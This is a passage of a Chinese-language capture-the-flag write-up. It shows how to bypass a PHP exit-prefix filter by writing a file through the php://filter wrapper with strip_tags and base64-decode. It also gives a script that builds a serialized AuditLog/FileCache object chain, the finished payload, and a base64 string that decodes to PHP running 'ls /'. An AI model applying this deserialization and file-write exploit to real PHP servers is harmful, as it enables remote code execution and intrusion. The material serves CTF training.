文件中含有死亡过滤,我们必须用编码写入的方式绕过它,使用 php://伪协议写入 233.php

1
2
$c->content="PD9waHAgZWNobyBgbHMgL2A7";
$c->filePath="php://filter/write=string.strip_tags|convert.base64-decode/resource=233.php";

这里需要注意我们需要一并用到 string.strip_tags 这个过滤器,删除既有的 <?php ?>,因为 base64 解码的规则随环境而变化,很可能遇到这样无法解码的标签就自动跳过,使得在解析我们写好了之后的程序时,看见了没有解码的 ?>,结束了程序

整个反序列化的结果由这个脚本运行出来,因为全是 public,所以不需要修改权限修饰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class AuditLog {
public $handler;
}

class FileCache {
public $filePath;
public $content;
}

class SystemStatus {
}
$a=new AuditLog();
$b=new SystemStatus();
$c=new FileCache();
$c->content="PD9waHAgZWNobyBgbHMgL2A7";
$c->filePath="php://filter/write=string.strip_tags|convert.base64-decode/resource=233.php";
$a->handler=$c;

$payload = serialize($a);
echo "最终payload: ";
echo $payload;
?>

得到

1
O:8:"AuditLog":1:{s:7:"handler";O:9:"FileCache":2:{s:8:"filePath";s:75:"php://filter/write=string.strip_tags|convert.base64-decode/resource=233.php";s:7:"content";s:24:"PD9waHAgZWNobyBgbHMgL2A7";}}

其中

1
PD9waHAgZWNobyBgbHMgL2A7 => <?php echo `ls /`;

注意这里不用经过 b 路径来执行程序,可以直接非预期 url 访问

1
http://challenge.qsnctf.com:45961/233.php

就可以看到执行结果了